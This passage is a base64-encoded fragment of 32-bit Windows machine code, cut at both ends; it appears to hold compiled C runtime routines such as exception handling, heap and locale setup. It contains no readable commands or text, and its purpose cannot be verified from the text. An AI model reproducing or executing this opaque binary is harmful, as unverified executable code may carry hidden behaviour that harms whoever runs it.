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4Ehcl0L6HkpwAQuuCnABCJReSFwHQROQh1LItIBIlKBFDoQdX//1n/dgToONX//1mDZgQAx0X8/v///+gKAAAA6DHg///Di9DrxWoO6B7o//9Zw8zMzMzMzMzMzMzMzMzMi1QkBItMJAj3wgMAAAB1PIsCOgF1LgrAdCY6YQF1JQrkdB3B6BA6QQJ1GQrAdBE6YQN1EIPBBIPCBArkddKL/zPAw5AbwNHgg8ABw/fCAQAAAHQYigKDwgE6AXXng8EBCsB03PfCAgAAAHSkZosCg8ICOgF1zgrAdMY6YQF1xQrkdL2DwQLriIv/VYvsg30IAHUV6Gjz///HABYAAADolvj//4PI/13D/3UIagD/NSCgABD/FeBgABBdw4v/VYvsVot1CIX2D4RjAwAA/3YE6DLU////dgjoKtT///92DOgi1P///3YQ6BrU////dhToEtT///92GOgK1P///zboA9T///92IOj70////3Yk6PPT////dijo69P///92LOjj0////3Yw6NvT////djTo09P///92HOjL0////3Y46MPT////djzou9P//4PEQP92QOiw0////3ZE6KjT////dkjooNP///92TOiY0////3ZQ6JDT////dlToiNP///92WOiA0////3Zc6HjT////dmDocNP///92ZOho0////3Zo6GDT////dmzoWNP///92cOhQ0////3Z06EjT////dnjoQNP///92fOg40///g8RA/7aAAAAA6CrT////toQAAADoH9P///+2iAAAAOgU0////7aMAAAA6AnT////tpAAAADo/tL///+2lAAAAOjz0v///7aYAAAA6OjS////tpwAAADo3dL///+2oAAAAOjS0v///7akAAAA6MfS////tqgAAADovNL///+2vAAAAOix0v///7bAAAAA6KbS////tsQAAADom9L///+2yAAAAOiQ0v///7bMAAAA6IXS//+DxED/ttAAAADod9L///+2uAAAAOhs0v///7bYAAAA6GHS////ttwAAADoVtL///+24AAAAOhL0v///7bkAAAA6EDS////tugAAADoNdL///+27AAAAOgq0v///7bUAAAA6B/S////tvAAAADoFNL///+29AAAAOgJ0v///7b4AAAA6P7R////tvwAAADo89H///+2AAEAAOjo0f///7YEAQAA6N3R////tggBAADo0tH//4PEQP+2DAEAAOjE0f///7YQAQAA6LnR////thQBAADortH///+2GAEAAOij0f///7YcAQAA6JjR////tiABAADojdH///+2JAEAAOiC0f///7YoAQAA6HfR////tiwBAADobNH///+2MAEAAOhh0f///7Y0AQAA6FbR////tjgBAADoS9H///+2PAEAAOhA0f///7ZAAQAA6DXR////tkQBAADoKtH///+2SAEAAOgf0f//g8RA/7ZMAQAA6BHR////tlABAADoBtH///+2VAEAAOj70P///7ZYAQAA6PDQ////tlwBAADo5dD///+2YAEAAOja0P//g8QYXl3Di/9Vi+xWi3UIhfZ0WYsGOwXYmgAQdAdQ6LfQ//9Zi0YEOwXcmgAQdAdQ6KXQ//9Zi0YIOwXgmgAQdAdQ6JPQ//9Zi0YwOwUImwAQdAdQ6IHQ//9Zi3Y0OzUMmwAQdAdW6G/Q//9ZXl3Di/9Vi+xWi3UIhfYPhOoAAACLRgw7BeSaABB0B1DoSdD//1mLRhA7BeiaABB0B1DoN9D//1mLRhQ7BeyaABB0B1DoJdD//1mLRhg7BfCaABB0B1DoE9D//1mLRhw7BfSaABB0B1DoAdD//1mLRiA7BfiaABB0B1Do78///1mLRiQ7BfyaABB0B1Do3c///1mLRjg7BRCbABB0B1Doy8///1mLRjw7BRSbABB0B1Douc///1mLRkA7BRibABB0B1Dop8///1mLRkQ7BRybABB0B1Dolc///1mLRkg7BSCbABB0B1Dog8///1mLdkw7NSSbABB0B1bocc///1leXcPMzMzMzMzMi1QkDItMJASF0nRpM8CKRCQIhMB1FoH6gAAAAHIOgz1MqAAQAHQF6SsMAABXi/mD+gRyMffZg+EDdAwr0YgHg8cBg+kBdfaLyMHgCAPBi8jB4BADwYvKg+IDwekCdAbzq4XSdAqIB4PHAYPqAXX2i0QkCF/Di0QkBMOL/1WL7ItFCIXAdBKD6AiBON3dAAB1B1Doz87//1ldw4v/VYvsg+wQoQCQABAzxYlF/ItVGFMz21ZXO9N+H4tFFIvKSTgYdAhAO8t19oPJ/4vCK8FIO8J9AUCJRRiJXfg5XSR1C4tFCIsAi0AEiUUkizXoYAAQM8A5XShTU/91GA+VwP91FI0ExQEAAABQ/3Uk/9aL+Il98Dv7dQczwOlSAQAAfkNq4DPSWPf3g/gCcjeNRD8IPQAEAAB3E+j1CwAAi8Q7w3QcxwDMzAAA6xFQ6Gff//9ZO8N0CccA3d0AAIPACIlF9OsDiV30OV30dKxX/3X0/3UY/3UUagH/dST/1oXAD4TgAAAAizXkYAAQU1NX/3X0/3UQ/3UM/9aJRfg7ww+EwQAAALkABAAAhU0QdCmLRSA7ww+ErAAAADlF+A+PowAAAFD/dRxX/3X0/3UQ/3UM/9bpjgAAAIt9+Dv7fkJq4DPSWPf3g/gCcjaNRD8IO8F3Fug7CwAAi/w7+3RoxwfMzAAAg8cI6xpQ6Kre//9ZO8N0CccA3d0AAIPACIv46wIz/zv7dD//dfhX/3Xw/3X0/3UQ/3UM/9aFwHQiU1M5XSB1BFNT6wb/dSD/dRz/dfhXU/91JP8VjGAAEIlF+FfoGP7//1n/dfToD/7//4tF+FmNZeRfXluLTfwzzeiZw///ycOL/1WL7IPsEP91CI1N8Ojm5